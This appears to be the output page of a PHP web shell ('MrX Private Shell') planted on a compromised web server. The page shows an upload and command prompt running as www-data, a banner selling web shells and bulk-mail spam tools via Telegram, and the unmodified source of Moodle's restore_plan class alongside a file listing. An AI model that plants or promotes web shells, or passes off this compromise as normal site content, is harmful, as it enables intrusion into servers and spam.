__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * @package moodlecore
 * @subpackage backup-plan
 * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com}
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

/**
 * Implementable class defining the needed stuf for one restore plan
 *
 * TODO: Finish phpdocs
 */
class restore_plan extends base_plan implements loggable {

    /**
     *
     * @var restore_controller
     */
    protected $controller; // The restore controller building/executing this plan
    protected $basepath;   // Fullpath to dir where backup is available
    protected $preloaded;  // When executing the plan, do we have preloaded (from checks) info
    protected $decoder;    // restore_decode_processor in charge of decoding all the interlinks
    protected $missingmodules; // to flag if restore has detected some missing module
    protected $excludingdactivities; // to flag if restore settings are excluding any activity

    /**
     * Constructor - instantiates one object of this class
     */
    public function __construct($controller) {
        global $CFG;

        if (! $controller instanceof restore_controller) {
            throw new restore_plan_exception('wrong_restore_controller_specified');
        }
        $backuptempdir    = make_backup_temp_directory('');
        $this->controller = $controller;
        $this->basepath   = $backuptempdir . '/' . $controller->get_tempdir();
        $this->preloaded  = false;
        $this->decoder    = new restore_decode_processor($this->get_restoreid(), $this->get_info()->original_wwwroot, $CFG->wwwroot);
        $this->missingmodules = false;
        $this->excludingdactivities = false;

        parent::__construct('restore_plan');
    }

    /**
     * Destroy all circular references. It helps PHP 5.2 a lot!
     */
    public function destroy() {
        // No need to destroy anything recursively here, direct reset
        $this->controller = null;
        // Delegate to base plan the rest
        parent::destroy();
    }

    public function build() {
        restore_plan_builder::build_plan($this->controller); // We are moodle2 always, go straight to builder
        $this->built = true;
    }

    public function get_restoreid() {
        return $this->controller->get_restoreid();
    }

    public function get_courseid() {
        return $this->controller->get_courseid();
    }

    public function get_mode() {
        return $this->controller->get_mode();
    }

    public function get_basepath() {
        return $this->basepath;
    }

    public function get_logger() {
        return $this->controller->get_logger();
    }

    /**
     * Gets the progress reporter, which can be used to report progress within
     * the backup or restore process.
     *
     * @return \core\progress\base Progress reporting object
     */
    public function get_progress() {
        return $this->controller->get_progress();
    }

    public function get_info() {
        return $this->controller->get_info();
    }

    public function get_target() {
        return $this->controller->get_target();
    }

    public function get_userid() {
        return $this->controller->get_userid();
    }

    public function get_decoder() {
        return $this->decoder;
    }

    public function is_samesite() {
        return $this->controller->is_samesite();
    }

    public function is_missing_modules() {
        return $this->missingmodules;
    }

    public function is_excluding_activities() {
        return $this->excludingdactivities;
    }

    public function set_preloaded_information() {
        $this->preloaded = true;
    }

    public function get_preloaded_information() {
        return $this->preloaded;
    }

    public function get_tempdir() {
        return $this->controller->get_tempdir();
    }

    public function set_missing_modules() {
        $this->missingmodules = true;
    }

    public function set_excluding_activities() {
        $this->excludingdactivities = true;
    }

    public function log($message, $level, $a = null, $depth = null, $display = false) {
        backup_helper::log($message, $level, $a, $depth, $display, $this->get_logger());
    }

    /**
     * Function responsible for executing the tasks of any plan
     */
    public function execute() {
        if ($this->controller->get_status() != backup::STATUS_AWAITING) {
            throw new restore_controller_exception('restore_not_executable_awaiting_required', $this->controller->get_status());
        }
        $this->controller->set_status(backup::STATUS_EXECUTING);
        parent::execute();
        $this->controller->set_status(backup::STATUS_FINISHED_OK);

        // Check if we are restoring a course.
        if ($this->controller->get_type() === backup::TYPE_1COURSE) {

            // Check to see if we are on the same site to pass original course info.
            $issamesite = $this->controller->is_samesite();

            $otherarray = array('type' => $this->controller->get_type(),
                                'target' => $this->controller->get_target(),
                                'mode' => $this->controller->get_mode(),
                                'operation' => $this->controller->get_operation(),
                                'samesite' => $issamesite
            );

            if ($this->controller->is_samesite()) {
                $otherarray['originalcourseid'] = $this->controller->get_info()->original_course_id;
            }

            // Trigger a course restored event.
            $event = \core\event\course_restored::create(array(
                'objectid' => $this->get_courseid(),
                'userid' => $this->get_userid(),
                'context' => context_course::instance($this->get_courseid()),
                'other' => $otherarray
            ));
            $event->trigger();
        }
    }

    /**
     * Execute the after_restore methods of all the executed tasks in the plan
     */
    public function execute_after_restore() {
        // Simply iterate over each task in the plan and delegate to them the execution
        $progress = $this->get_progress();
        $progress->start_progress($this->get_name() .
                ': executing execute_after_restore for all tasks', count($this->tasks));

        /** @var base_task $task */
        foreach ($this->tasks as $task) {
            $task->execute_after_restore();
            $progress->increment_progress();
        }
        $progress->end_progress();
    }

    /**
     * Compares the provided moodle version with the one the backup was taken from.
     *
     * @param int $version Moodle version number (YYYYMMDD or YYYYMMDDXX)
     * @param string $operator Operator to compare the provided version to the backup version. {@see version_compare()}
     * @return bool True if the comparison passes.
     */
    public function backup_version_compare(int $version, string $operator): bool {
        preg_match('/(\d{' . strlen($version) . '})/', $this->get_info()->moodle_version, $matches);
        $backupbuild = (int)$matches[1];
        return version_compare($backupbuild, $version, $operator);
    }

    /**
     * Compares the provided moodle release with the one the backup was taken from.
     *
     * @param string $release Moodle release (X.Y or X.Y.Z)
     * @param string $operator Operator to compare the provided release to the backup release. {@see version_compare()}
     * @return bool True if the comparison passes.
     */
    public function backup_release_compare(string $release, string $operator): bool {
        return version_compare($this->get_info()->backup_release, $release, $operator);
    }
}

/*
 * Exception class used by all the @restore_plan stuff
 */
class restore_plan_exception extends base_plan_exception {

    public function __construct($errorcode, $a=NULL, $debuginfo=null) {
        parent::__construct($errorcode, $a, $debuginfo);
    }
}

Filemanager

Name Type Size Permission Actions
tests Folder 0777
backup_execution_step.class.php File 1.3 KB 0777
backup_plan.class.php File 5.51 KB 0777
backup_step.class.php File 1.8 KB 0777
backup_structure_step.class.php File 11.29 KB 0777
backup_task.class.php File 2.06 KB 0777
base_plan.class.php File 7.27 KB 0777
base_step.class.php File 3.93 KB 0777
base_task.class.php File 9.17 KB 0777
restore_execution_step.class.php File 1.31 KB 0777
restore_plan.class.php File 8.45 KB 0777
restore_step.class.php File 5.95 KB 0777
restore_structure_step.class.php File 24.35 KB 0777
restore_task.class.php File 4.98 KB 0777
Filemanager